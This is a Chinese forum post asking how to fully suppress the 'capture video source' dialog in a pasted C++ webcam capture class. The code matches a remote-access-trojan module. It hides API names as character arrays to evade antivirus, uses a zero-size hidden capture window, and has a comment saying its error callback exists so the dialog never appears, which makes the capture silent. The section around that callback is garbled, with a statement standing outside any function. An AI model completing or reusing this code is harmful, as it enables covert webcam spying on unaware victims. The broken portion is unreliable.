一个打开摄像头的程序，在win7电脑上打开，会出现捕获视频源对话框如图：


代码如下：请问如何修改才能真正屏蔽掉这个视频源框，代码如下：
// VideoCap.cpp: implementation of the CVideoCap class.
//
//////////////////////////////////////////////////////////////////////
#include "../stdafx.h"
#include "../Declare.h"   //动态调用库函数
#include "VideoCap.h"
#include "../Myfunction.h"  //自定义函数

extern Myfunction *Gyfunction;
//////////////////////////////////////////////////////////////////////
typedef BOOL
(VFWAPI
*capGetDriverDescriptionAT)(
    UINT wDriverIndex,
    LPSTR lpszName, int cbName,
    LPSTR lpszVer, int cbVer
    );

typedef HWND
(VFWAPI
*capCreateCaptureWindowAT)(
     LPCSTR lpszWindowName,
     DWORD dwStyle,
     int x,
     int y,
     int nWidth,
     int nHeight,
     HWND hwndParent,
     int nID);

//////////////////////////////////////////////////////////////////////
bool CVideoCap::m_bIsConnected = false;

CVideoCap::CVideoCap()
{
        // If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
        char BrmAP29[] = {'C','r','e','a','t','e','E','v','e','n','t','A','\0'};
        CreateEventAT pCreateEventA=(CreateEventAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29);
        m_hCaptureEvent = pCreateEventA(NULL, FALSE, FALSE, NULL);

        m_lpbmi = NULL;
        m_lpDIB = NULL;

        if (!IsWebCam() || m_bIsConnected)
                return;
        m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);

        char DYrEN16[] = {'c','a','p','C','r','e','a','t','e','C','a','p','t','u','r','e','W','i','n','d','o','w','A','\0'};
        capCreateCaptureWindowAT pcapCreateCaptureWindowA=(capCreateCaptureWindowAT)GetProcAddress(LoadLibrary("AVICAP32.dll"),DYrEN16);
        m_hWndCap = pcapCreateCaptureWindowA
                (
                "CVideoCap",
                WS_CHILD | WS_VISIBLE,
                0,
                0,
                0,
                0,
                m_hWnd,
                0
                );
}

CVideoCap::~CVideoCap()
{
        if (m_bIsConnected)
        {
                capCaptureAbort(m_hWndCap);
                capDriverDisconnect(m_hWndCap);

                if (m_lpbmi)
                        delete m_lpbmi;
                if (m_lpDIB)
                        delete m_lpDIB;
                m_bIsConnected = false;
        }

        capSetCallbackOnError(m_hWndCap, NULL);
        capSetCallbackOnFrame(m_hWndCap, NULL);       

    char CtxPW61[] = {'C','l','o','s','e','W','i','n','d','o','w','\0'};
    CloseWindowT pCloseWindow=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW61);
        pCloseWindow(m_hWnd);
        pCloseWindow(m_hWndCap);
        char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
        CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29);
        pCloseHandle(m_hCaptureEvent);
}
// 自定义错误,不让弹出视频源对话框
SetEventT pSetEvent=(SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP23);
{
        return (LRESULT)TRUE;
}

LRESULT CALLBACK CVideoCap::FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)
{
        char BrmAP23[] = {'S','e','t','E','v','e','n','t','\0'};
        SetEventT pSetEvent=(SetEventT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP23);
        try
        {
                CVideoCap *pThis = (CVideoCap *)capGetUserData(hWnd);
                if (pThis != NULL)
                {
                        Gyfunction->my_memcpy(pThis->m_lpDIB, lpVHdr->lpData, pThis->m_lpbmi->bmiHeader.biSizeImage);
                        pSetEvent(pThis->m_hCaptureEvent);
                }
        }catch(...){};
        return 0;
}

BOOL CVideoCap::IsWebCam()
{
        // 已经连接了
        if (m_bIsConnected)
                return false;

        BOOL        bRet = false;
       
        char        lpszName[100], lpszVer[50];

        char DYrEN15[] = {'c','a','p','G','e','t','D','r','i','v','e','r','D','e','s','c','r','i','p','t','i','o','n','A','\0'};
        capGetDriverDescriptionAT pcapGetDriverDescriptionA=(capGetDriverDescriptionAT)GetProcAddress(LoadLibrary("AVICAP32.dll"),DYrEN15);
        for (int i = 0; i < 10 && !bRet; i++)
        {
                bRet = pcapGetDriverDescriptionA(i, lpszName, sizeof(lpszName),
                        lpszVer, sizeof(lpszVer));
        }
        return bRet;
}

LPBYTE CVideoCap::GetDIB()
{
        capGrabFrameNoStop(m_hWndCap);
        char CPolQ01[] = {'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','\0'};
        WaitForSingleObjectT pWaitForSingleObject=(WaitForSingleObjectT)GetProcAddress(LoadLibrary("KERNEL32.dll"),CPolQ01);
        DWORD        dwRet = pWaitForSingleObject(m_hCaptureEvent, 3000);

        if (dwRet == WAIT_OBJECT_0)
                return m_lpDIB;
        else
                return NULL;
}

bool CVideoCap::Initialize(int nWidth, int nHeight)
{
//        CAPTUREPARMS        gCapTureParms ; //视频驱动器的能力
        CAPDRIVERCAPS        gCapDriverCaps;
        DWORD                        dwSize;

        if (!IsWebCam())
                return false;

        capSetUserData(m_hWndCap, this);
       
        capSetCallbackOnError(m_hWndCap, capErrorCallback);
        if (!capSetCallbackOnFrame(m_hWndCap, FrameCallbackProc))
        {
                return false;
        }

        // 将捕获窗同驱动器连接
        int i;
        for (i = 0; i < 10; i++)
        {
                if (capDriverConnect(m_hWndCap, i))
                        break;
        }
        if (i == 10)
                return false;
       
       
        dwSize = capGetVideoFormatSize(m_hWndCap);
        m_lpbmi = new BITMAPINFO;

        // M263只支持176*144 352*288 (352*288 24彩的试验只支持biPlanes = 1)
        capGetVideoFormat(m_hWndCap, m_lpbmi, dwSize);
        // 采用指定的大小
        if (nWidth && nHeight)
        {
                m_lpbmi->bmiHeader.biWidth = nWidth;
                m_lpbmi->bmiHeader.biHeight = nHeight;
                m_lpbmi->bmiHeader.biPlanes = 1;
                m_lpbmi->bmiHeader.biSizeImage = (((m_lpbmi->bmiHeader.biWidth * m_lpbmi->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi->bmiHeader.biHeight;
                // 实验得知一些摄像头不支持指定的分辩率
                if (!capSetVideoFormat(m_hWndCap, m_lpbmi, sizeof(BITMAPINFO)))
                        return false;
        }

        m_lpDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];

        capDriverGetCaps(m_hWndCap, &gCapDriverCaps, sizeof(CAPDRIVERCAPS));
       
        capOverlay(m_hWndCap, FALSE);
        capPreview(m_hWndCap, FALSE);       
        capPreviewScale(m_hWndCap, FALSE);

        m_bIsConnected = true;

        return true;
}

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